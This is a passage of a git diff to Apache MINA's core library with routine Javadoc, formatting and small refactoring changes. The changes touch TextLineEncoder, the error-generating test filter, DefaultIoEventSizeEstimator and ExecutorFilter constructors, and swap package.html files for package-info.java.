in.remaining()) { - overflowPosition = buf.position(); - buf.clear(); - discard(in); + overflowPosition = buf.position(); + buf.clear(); + discard(in); } else { getBuffer().put(in); } @@ -440,7 +460,7 @@ private void discard(IoBuffer in) { } else { overflowPosition += in.remaining(); } - + in.position(in.limit()); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineEncoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineEncoder.java index f445842046..713ed22d94 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineEncoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/TextLineEncoder.java @@ -36,7 +36,7 @@ * @author Apache MINA Project */ public class TextLineEncoder extends ProtocolEncoderAdapter { - private final AttributeKey ENCODER = new AttributeKey(getClass(), "encoder"); + private static final AttributeKey ENCODER = new AttributeKey(TextLineEncoder.class, "encoder"); private final Charset charset; @@ -51,10 +51,12 @@ public class TextLineEncoder extends ProtocolEncoderAdapter { public TextLineEncoder() { this(Charset.defaultCharset(), LineDelimiter.UNIX); } - + /** * Creates a new instance with the current default {@link Charset} - * and the specified delimiter. + * and the specified delimiter. + * + * @param delimiter The line delimiter to use */ public TextLineEncoder(String delimiter) { this(new LineDelimiter(delimiter)); @@ -62,31 +64,41 @@ public TextLineEncoder(String delimiter) { /** * Creates a new instance with the current default {@link Charset} - * and the specified delimiter. + * and the specified delimiter. + * + * @param delimiter The line delimiter to use */ public TextLineEncoder(LineDelimiter delimiter) { this(Charset.defaultCharset(), delimiter); } /** - * Creates a new instance with the spcified charset + * Creates a new instance with the specified charset * and {@link LineDelimiter#UNIX} delimiter. + * + * @param charset The {@link Charset} to use */ public TextLineEncoder(Charset charset) { this(charset, LineDelimiter.UNIX); } /** - * Creates a new instance with the spcified charset - * and the specified delimiter. + * Creates a new instance with the specified charset + * and the specified delimiter. + * + * @param charset The {@link Charset} to use + * @param delimiter The line delimiter to use */ public TextLineEncoder(Charset charset, String delimiter) { this(charset, new LineDelimiter(delimiter)); } - + /** - * Creates a new instance with the spcified charset - * and the specified delimiter. + * Creates a new instance with the specified charset + * and the specified delimiter. + * + * @param charset The {@link Charset} to use + * @param delimiter The line delimiter to use */ public TextLineEncoder(Charset charset, LineDelimiter delimiter) { if (charset == null) { @@ -96,8 +108,7 @@ public TextLineEncoder(Charset charset, LineDelimiter delimiter) { throw new IllegalArgumentException("delimiter"); } if (LineDelimiter.AUTO.equals(delimiter)) { - throw new IllegalArgumentException( - "AUTO delimiter is not allowed for encoder."); + throw new IllegalArgumentException("AUTO delimiter is not allowed for encoder."); } this.charset = charset; @@ -105,7 +116,7 @@ public TextLineEncoder(Charset charset, LineDelimiter delimiter) { } /** - * Returns the allowed maximum size of the encoded line. + * @return the allowed maximum size of the encoded line. * If the size of the encoded line exceeds this value, the encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. @@ -119,36 +130,47 @@ public int getMaxLineLength() { * If the size of the encoded line exceeds this value, the encoder * will throw a {@link IllegalArgumentException}. The default value * is {@link Integer#MAX_VALUE}. + * + * @param maxLineLength The maximum line length */ public void setMaxLineLength(int maxLineLength) { if (maxLineLength <= 0) { - throw new IllegalArgumentException("maxLineLength: " - + maxLineLength); + throw new IllegalArgumentException("maxLineLength: " + maxLineLength); } this.maxLineLength = maxLineLength; } - public void encode(IoSession session, Object message, - ProtocolEncoderOutput out) throws Exception { + /** + * {@inheritDoc} + */ + @Override + public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { CharsetEncoder encoder = (CharsetEncoder) session.getAttribute(ENCODER); + if (encoder == null) { encoder = charset.newEncoder(); session.setAttribute(ENCODER, encoder); } - String value = message.toString(); - IoBuffer buf = IoBuffer.allocate(value.length()) - .setAutoExpand(true); + String value = message == null ? "" : message.toString(); + IoBuffer buf = IoBuffer.allocate(value.length()).setAutoExpand(true); buf.putString(value, encoder); + if (buf.position() > maxLineLength) { throw new IllegalArgumentException("Line length: " + buf.position()); } + buf.putString(delimiter.getValue(), encoder); buf.flip(); out.write(buf); } + /** + * Dispose the encoder + * + * @throws Exception If the dispose failed + */ public void dispose() throws Exception { // Do nothing } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/package-info.java new file mode 100644 index 0000000000..14075fcaed --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * A protocol codec for text-based protocols. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.codec.textline; diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/package.html b/mina-core/src/main/java/org/apache/mina/filter/codec/textline/package.html deleted file mode 100644 index e44ca974d2..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/textline/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -A protocol codec for text-based protocols. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/ErrorGeneratingFilter.java b/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/ErrorGeneratingFilter.java index a562e739cd..d32573180b 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/ErrorGeneratingFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/ErrorGeneratingFilter.java @@ -73,59 +73,53 @@ public class ErrorGeneratingFilter extends IoFilterAdapter { private Random rng = new Random(); - final private Logger logger = LoggerFactory - .getLogger(ErrorGeneratingFilter.class); + private final Logger logger = LoggerFactory.getLogger(ErrorGeneratingFilter.class); @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { if (manipulateWrites) { // manipulate bytes if (writeRequest.getMessage() instanceof IoBuffer) { - manipulateIoBuffer(session, (IoBuffer) writeRequest - .getMessage()); - IoBuffer buffer = insertBytesToNewIoBuffer(session, - (IoBuffer) writeRequest.getMessage()); + manipulateIoBuffer(session, (IoBuffer) writeRequest.getMessage()); + IoBuffer buffer = insertBytesToNewIoBuffer(session, (IoBuffer) writeRequest.getMessage()); + if (buffer != null) { - writeRequest = new DefaultWriteRequest(buffer, writeRequest - .getFuture(), writeRequest.getDestination()); + writeRequest = new DefaultWriteRequest(buffer, writeRequest.getFuture(), + writeRequest.getDestination()); } // manipulate PDU } else { if (duplicatePduProbability > rng.nextInt()) { nextFilter.filterWrite(session, writeRequest); } - + if (resendPduLasterProbability > rng.nextInt()) { // store it somewhere and trigger a write execution for // later // TODO } + if (removePduProbability > rng.nextInt()) { return; } } } + nextFilter.filterWrite(session, writeRequest); } @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { - if (manipulateReads) { - if (message instanceof IoBuffer) { - // manipulate bytes - manipulateIoBuffer(session, (IoBuffer) message); - IoBuffer buffer = insertBytesToNewIoBuffer(session, - (IoBuffer) message); - if (buffer != null) { - message = buffer; - } - } else { - // manipulate PDU - // TODO + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { + if (manipulateReads && (message instanceof IoBuffer)) { + // manipulate bytes + manipulateIoBuffer(session, (IoBuffer) message); + IoBuffer buffer = insertBytesToNewIoBuffer(session, (IoBuffer) message); + + if (buffer != null) { + message = buffer; } } + nextFilter.messageReceived(session, message); } @@ -136,7 +130,7 @@ private IoBuffer insertBytesToNewIoBuffer(IoSession session, IoBuffer buffer) { int pos = rng.nextInt(buffer.remaining()) - 1; // how many byte to insert ? - int count = rng.nextInt(maxInsertByte-1)+1; + int count = rng.nextInt(maxInsertByte - 1) + 1; IoBuffer newBuff = IoBuffer.allocate(buffer.remaining() + count); for (int i = 0; i < pos; i++) @@ -197,13 +191,16 @@ private void manipulateIoBuffer(IoSession session, IoBuffer buffer) { } } + /** + * @return The probably that a byte changes + */ public int getChangeByteProbability() { return changeByteProbability; } - + /** * Set the probability for the change byte error. - * If this probability is > 0 the filter will modify a random number of byte + * If this probability is > 0 the filter will modify a random number of byte * of the processed {@link IoBuffer}. * @param changeByteProbability probability of modifying an IoBuffer out of 1000 processed {@link IoBuffer} */ @@ -211,93 +208,121 @@ public void setChangeByteProbability(int changeByteProbability) { this.changeByteProbability = changeByteProbability; } + /** + * @return The probability for generating duplicated PDU + */ public int getDuplicatePduProbability() { return duplicatePduProbability; } - + /** * not functional ATM - * @param duplicatePduProbability + * @param duplicatePduProbability The probability for generating duplicated PDU */ public void setDuplicatePduProbability(int duplicatePduProbability) { this.duplicatePduProbability = duplicatePduProbability; } + /** + * @return the probability for the insert byte error. + */ public int getInsertByteProbability() { return insertByteProbability; } /** * Set the probability for the insert byte error. - * If this probability is > 0 the filter will insert a random number of byte + * If this probability is > 0 the filter will insert a random number of byte * in the processed {@link IoBuffer}. - * @param changeByteProbability probability of inserting in IoBuffer out of 1000 processed {@link IoBuffer} + * @param insertByteProbability probability of inserting in IoBuffer out of 1000 processed {@link IoBuffer} */ public void setInsertByteProbability(int insertByteProbability) { this.insertByteProbability = insertByteProbability; } + /** + * @return The number of manipulated reads + */ public boolean isManipulateReads() { return manipulateReads; } /** * Set to true if you want to apply error to the read {@link IoBuffer} - * @param manipulateReads + * + * @param manipulateReads The number of manipulated reads */ public void setManipulateReads(boolean manipulateReads) { this.manipulateReads = manipulateReads; } + /** + * @return If manipulated writes are expected or not + */ public boolean isManipulateWrites() { return manipulateWrites; } /** * Set to true if you want to apply error to the written {@link IoBuffer} - * @param manipulateWrites + * + * @param manipulateWrites If manipulated writes are expected or not */ public void setManipulateWrites(boolean manipulateWrites) { this.manipulateWrites = manipulateWrites; } + /** + * @return The probability for the remove byte error + */ public int getRemoveByteProbability() { return removeByteProbability; } /** * Set the probability for the remove byte error. - * If this probability is > 0 the filter will remove a random number of byte + * If this probability is > 0 the filter will remove a random number of byte * in the processed {@link IoBuffer}. - * @param changeByteProbability probability of modifying an {@link IoBuffer} out of 1000 processed IoBuffer + * + * @param removeByteProbability probability of modifying an {@link IoBuffer} out of 1000 processed IoBuffer */ public void setRemoveByteProbability(int removeByteProbability) { this.removeByteProbability = removeByteProbability; } + /** + * @return The PDU removal probability + */ public int getRemovePduProbability() { return removePduProbability; } /** * not functional ATM - * @param removePduProbability + * @param removePduProbability The PDU removal probability */ public void setRemovePduProbability(int removePduProbability) { this.removePduProbability = removePduProbability; } + /** + * @return The delay before a resend + */ public int getResendPduLasterProbability() { return resendPduLasterProbability; } + /** * not functional ATM - * @param resendPduLasterProbability + * @param resendPduLasterProbability The delay before a resend */ public void setResendPduLasterProbability(int resendPduLasterProbability) { this.resendPduLasterProbability = resendPduLasterProbability; } + /** + * @return maximum bytes inserted in a {@link IoBuffer} + */ public int getMaxInsertByte() { return maxInsertByte; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/package-info.java new file mode 100644 index 0000000000..b062683cb2 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * An IoFilter that provides flexible error generation facilities. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.errorgenerating; diff --git a/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/package.html b/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/package.html deleted file mode 100644 index fb8cdbd9a6..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/errorgenerating/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -An IoFilter that provides flexible error generation facilities. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/DefaultIoEventSizeEstimator.java b/mina-core/src/main/java/org/apache/mina/filter/executor/DefaultIoEventSizeEstimator.java index 6dfee6c8c6..dcf39c0972 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/DefaultIoEventSizeEstimator.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/DefaultIoEventSizeEstimator.java @@ -36,7 +36,7 @@ * Martin's Java Notes * was used for estimation. For unknown types, it inspects declaring fields of the * class of the specified event and the parameter of the event. The size of unknown - * declaring fields are approximated to the specified averageSizePerField + * declaring fields are approximated to the specified averageSizePerField * (default: 64). *

    * All the estimated sizes of classes are cached for performance improvement. @@ -44,11 +44,11 @@ * @author Apache MINA Project */ public class DefaultIoEventSizeEstimator implements IoEventSizeEstimator { - /** A map containing the estimated size of each Java objects we know for */ - private final ConcurrentMap, Integer> class2size = new ConcurrentHashMap, Integer>(); + /** A map containing the estimated size of each Java objects we know for */ + private final ConcurrentMap, Integer> class2size = new ConcurrentHashMap<>(); /** - * Create a new instance of this class, injecting the known size of + * Create a new instance of this class, injecting the known size of * basic java types. */ public DefaultIoEventSizeEstimator() { @@ -66,12 +66,13 @@ public DefaultIoEventSizeEstimator() { /** * {@inheritDoc} */ + @Override public int estimateSize(IoEvent event) { return estimateSize((Object) event) + estimateSize(event.getParameter()); } /** - * Estimate the size of an Objecr in number of bytes + * Estimate the size of an Object in number of bytes * @param message The object to estimate * @return The estimated size of the object */ @@ -89,7 +90,7 @@ public int estimateSize(Object message) { } else if (message instanceof CharSequence) { answer += ((CharSequence) message).length() << 1; } else if (message instanceof Iterable) { - for (Object m: (Iterable) message) { + for (Object m : (Iterable) message) { answer += estimateSize(m); } } @@ -99,6 +100,7 @@ public int estimateSize(Object message) { private int estimateSize(Class clazz, Set> visitedClasses) { Integer objectSize = class2size.get(clazz); + if (objectSize != null) { return objectSize; } @@ -108,15 +110,17 @@ private int estimateSize(Class clazz, Set> visitedClasses) { return 0; } } else { - visitedClasses = new HashSet>(); + visitedClasses = new HashSet<>(); } visitedClasses.add(clazz); int answer = 8; // Basic overhead. + for (Class c = clazz; c != null; c = c.getSuperclass()) { Field[] fields = c.getDeclaredFields(); - for (Field f: fields) { + + for (Field f : fields) { if ((f.getModifiers() & Modifier.STATIC) != 0) { // Ignore static fields. continue; @@ -132,16 +136,22 @@ private int estimateSize(Class clazz, Set> visitedClasses) { answer = align(answer); // Put the final answer. - class2size.putIfAbsent(clazz, answer); + Integer tmpAnswer = class2size.putIfAbsent(clazz, answer); + + if (tmpAnswer != null) { + answer = tmpAnswer; + } + return answer; } private static int align(int size) { if (size % 8 != 0) { size /= 8; - size ++; + size++; size *= 8; } + return size; } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/executor/ExecutorFilter.java b/mina-core/src/main/java/org/apache/mina/filter/executor/ExecutorFilter.java index eea16d37cf..654f22f120 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/executor/ExecutorFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/executor/ExecutorFilter.java @@ -80,8 +80,8 @@ * *

    Selective Filtering

    * - * By default, all event types but sessionCreated, filterWrite, - * filterClose and filterSetTrafficMask are submitted to the + * By default, all event types but sessionCreated, filterWrite, + * filterClose and filterSetTrafficMask are submitted to the * underlying executor, which is most common setting. *

    * If you want to submit only a certain set of event types, you can specify them @@ -112,39 +112,39 @@ public class ExecutorFilter extends IoFilterAdapter { /** The list of handled events */ private EnumSet eventTypes; - + /** The associated executor */ private Executor executor; - - /** A flag set if the executor can be managed */ + + /** A flag set if the executor can be managed */ private boolean manageableExecutor; - + /** The default pool size */ private static final int DEFAULT_MAX_POOL_SIZE = 16; - + /** The number of thread to create at startup */ private static final int BASE_THREAD_NUMBER = 0; - + /** The default KeepAlive time, in seconds */ private static final long DEFAULT_KEEPALIVE_TIME = 30; - + /** * A set of flags used to tell if the Executor has been created * in the constructor or passed as an argument. In the second case, * the executor state can be managed. **/ private static final boolean MANAGEABLE_EXECUTOR = true; + private static final boolean NOT_MANAGEABLE_EXECUTOR = false; - + /** A list of default EventTypes to be handled by the executor */ - private static IoEventType[] DEFAULT_EVENT_SET = new IoEventType[] { - IoEventType.EXCEPTION_CAUGHT, + private static final IoEventType[] DEFAULT_EVENT_SET = new IoEventType[] { + IoEventType.EXCEPTION_CAUGHT, IoEventType.MESSAGE_RECEIVED, - IoEventType.MESSAGE_SENT, - IoEventType.SESSION_CLOSED, - IoEventType.SESSION_IDLE, - IoEventType.SESSION_OPENED - }; + IoEventType.MESSAGE_SENT, + IoEventType.SESSION_CLOSED, + IoEventType.SESSION_IDLE, + IoEventType.SESSION_OPENED }; /** * (Convenience constructor) Creates a new instance with a new @@ -154,18 +154,13 @@ public class ExecutorFilter extends IoFilterAdapter { */ public ExecutorFilter() { // Create a new default Executor - Executor executor = createDefaultExecutor( - BASE_THREAD_NUMBER, - DEFAULT_MAX_POOL_SIZE, - DEFAULT_KEEPALIVE_TIME, - TimeUnit.SECONDS, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR); + Executor newExecutor = new OrderedThreadPoolExecutor(BASE_THREAD_NUMBER, DEFAULT_MAX_POOL_SIZE, + DEFAULT_KEEPALIVE_TIME, TimeUnit.SECONDS, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR); } - + /** * (Convenience constructor) Creates a new instance with a new * {@link OrderedThreadPoolExecutor}, no thread in the pool, but @@ -176,18 +171,13 @@ public ExecutorFilter() { */ public ExecutorFilter(int maximumPoolSize) { // Create a new default Executor - Executor executor = createDefaultExecutor( - BASE_THREAD_NUMBER, - maximumPoolSize, - DEFAULT_KEEPALIVE_TIME, - TimeUnit.SECONDS, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR); + Executor newExecutor = new OrderedThreadPoolExecutor(BASE_THREAD_NUMBER, maximumPoolSize, + DEFAULT_KEEPALIVE_TIME, TimeUnit.SECONDS, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR); } - + /** * (Convenience constructor) Creates a new instance with a new * {@link OrderedThreadPoolExecutor}, a number of thread to start with, a @@ -199,18 +189,13 @@ public ExecutorFilter(int maximumPoolSize) { */ public ExecutorFilter(int corePoolSize, int maximumPoolSize) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - DEFAULT_KEEPALIVE_TIME, - TimeUnit.SECONDS, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + DEFAULT_KEEPALIVE_TIME, TimeUnit.SECONDS, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR); } - + /** * (Convenience constructor) Creates a new instance with a new * {@link OrderedThreadPoolExecutor}. @@ -220,19 +205,13 @@ public ExecutorFilter(int corePoolSize, int maximumPoolSize) { * @param keepAliveTime Default duration for a thread * @param unit Time unit used for the keepAlive value */ - public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, - TimeUnit unit) { + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - keepAliveTime, - unit, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + keepAliveTime, unit, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR); } /** @@ -245,21 +224,14 @@ public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, * @param unit Time unit used for the keepAlive value * @param queueHandler The queue used to store events */ - public ExecutorFilter( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, IoEventQueueHandler queueHandler) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - keepAliveTime, - unit, - Executors.defaultThreadFactory(), - queueHandler); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + keepAliveTime, unit, Executors.defaultThreadFactory(), queueHandler); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR); } /** @@ -272,21 +244,14 @@ public ExecutorFilter( * @param unit Time unit used for the keepAlive value * @param threadFactory The factory used to create threads */ - public ExecutorFilter( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, ThreadFactory threadFactory) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - keepAliveTime, - unit, - threadFactory, - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + keepAliveTime, unit, threadFactory, null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR); } /** @@ -300,15 +265,14 @@ public ExecutorFilter( * @param threadFactory The factory used to create threads * @param queueHandler The queue used to store events */ - public ExecutorFilter( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, ThreadFactory threadFactory, IoEventQueueHandler queueHandler) { // Create a new default Executor - Executor executor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, keepAliveTime, unit, threadFactory, queueHandler); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + keepAliveTime, unit, threadFactory, queueHandler); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR); } /** @@ -319,18 +283,13 @@ public ExecutorFilter( */ public ExecutorFilter(IoEventType... eventTypes) { // Create a new default Executor - Executor executor = createDefaultExecutor( - BASE_THREAD_NUMBER, - DEFAULT_MAX_POOL_SIZE, - DEFAULT_KEEPALIVE_TIME, - TimeUnit.SECONDS, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR, eventTypes); + Executor newExecutor = new OrderedThreadPoolExecutor(BASE_THREAD_NUMBER, DEFAULT_MAX_POOL_SIZE, + DEFAULT_KEEPALIVE_TIME, TimeUnit.SECONDS, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR, eventTypes); } - + /** * (Convenience constructor) Creates a new instance with a new * {@link OrderedThreadPoolExecutor}. @@ -340,18 +299,13 @@ public ExecutorFilter(IoEventType... eventTypes) { */ public ExecutorFilter(int maximumPoolSize, IoEventType... eventTypes) { // Create a new default Executor - Executor executor = createDefaultExecutor( - BASE_THREAD_NUMBER, - maximumPoolSize, - DEFAULT_KEEPALIVE_TIME, - TimeUnit.SECONDS, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR, eventTypes); + Executor newExecutor = new OrderedThreadPoolExecutor(BASE_THREAD_NUMBER, maximumPoolSize, + DEFAULT_KEEPALIVE_TIME, TimeUnit.SECONDS, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR, eventTypes); } - + /** * (Convenience constructor) Creates a new instance with a new * {@link OrderedThreadPoolExecutor}. @@ -362,18 +316,13 @@ public ExecutorFilter(int maximumPoolSize, IoEventType... eventTypes) { */ public ExecutorFilter(int corePoolSize, int maximumPoolSize, IoEventType... eventTypes) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - DEFAULT_KEEPALIVE_TIME, - TimeUnit.SECONDS, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR, eventTypes); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + DEFAULT_KEEPALIVE_TIME, TimeUnit.SECONDS, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR, eventTypes); } - + /** * (Convenience constructor) Creates a new instance with a new * {@link OrderedThreadPoolExecutor}. @@ -384,22 +333,16 @@ public ExecutorFilter(int corePoolSize, int maximumPoolSize, IoEventType... even * @param unit Time unit used for the keepAlive value * @param eventTypes The event for which the executor will be used */ - public ExecutorFilter( - int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, IoEventType... eventTypes) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - keepAliveTime, - unit, - Executors.defaultThreadFactory(), - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR, eventTypes); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + keepAliveTime, unit, Executors.defaultThreadFactory(), null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR, eventTypes); } - + /** * (Convenience constructor) Creates a new instance with a new * {@link OrderedThreadPoolExecutor}. @@ -411,21 +354,14 @@ public ExecutorFilter( * @param queueHandler The queue used to store events * @param eventTypes The event for which the executor will be used */ - public ExecutorFilter( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, IoEventQueueHandler queueHandler, IoEventType... eventTypes) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - keepAliveTime, - unit, - Executors.defaultThreadFactory(), - queueHandler); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR, eventTypes); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + keepAliveTime, unit, Executors.defaultThreadFactory(), queueHandler); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR, eventTypes); } /** @@ -439,21 +375,14 @@ public ExecutorFilter( * @param threadFactory The factory used to create threads * @param eventTypes The event for which the executor will be used */ - public ExecutorFilter( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, ThreadFactory threadFactory, IoEventType... eventTypes) { // Create a new default Executor - Executor executor = createDefaultExecutor( - corePoolSize, - maximumPoolSize, - keepAliveTime, - unit, - threadFactory, - null); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR, eventTypes); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, + keepAliveTime, unit, threadFactory, null); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR, eventTypes); } /** @@ -468,26 +397,23 @@ public ExecutorFilter( * @param queueHandler The queue used to store events * @param eventTypes The event for which the executor will be used */ - public ExecutorFilter( - int corePoolSize, int maximumPoolSize, - long keepAliveTime, TimeUnit unit, - ThreadFactory threadFactory, IoEventQueueHandler queueHandler, - IoEventType... eventTypes) { + public ExecutorFilter(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, + ThreadFactory threadFactory, IoEventQueueHandler queueHandler, IoEventType... eventTypes) { // Create a new default Executor - Executor executor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, - keepAliveTime, unit, threadFactory, queueHandler); - - // Initialize the filter - init(executor, MANAGEABLE_EXECUTOR, eventTypes); + Executor newExecutor = new OrderedThreadPoolExecutor(corePoolSize, maximumPoolSize, keepAliveTime, unit, + threadFactory, queueHandler); + + // Initialise the filter + init(newExecutor, MANAGEABLE_EXECUTOR, eventTypes); } - + /** * Creates a new instance with the specified {@link Executor}. * * @param executor the user's managed Executor to use in this filter */ public ExecutorFilter(Executor executor) { - // Initialize the filter + // Initialise the filter init(executor, NOT_MANAGEABLE_EXECUTOR); } @@ -498,30 +424,10 @@ public ExecutorFilter(Executor executor) { * @param eventTypes The event for which the executor will be used */ public ExecutorFilter(Executor executor, IoEventType... eventTypes) { - // Initialize the filter + // Initialise the filter init(executor, NOT_MANAGEABLE_EXECUTOR, eventTypes); } - - /** - * Create an OrderedThreadPool executor. - * - * @param corePoolSize The initial pool sizePoolSize - * @param maximumPoolSize The maximum pool size - * @param keepAliveTime Default duration for a thread - * @param unit Time unit used for the keepAlive value - * @param threadFactory The factory used to create threads - * @param queueHandler The queue used to store events - * @return An instance of the created Executor - */ - private Executor createDefaultExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, - 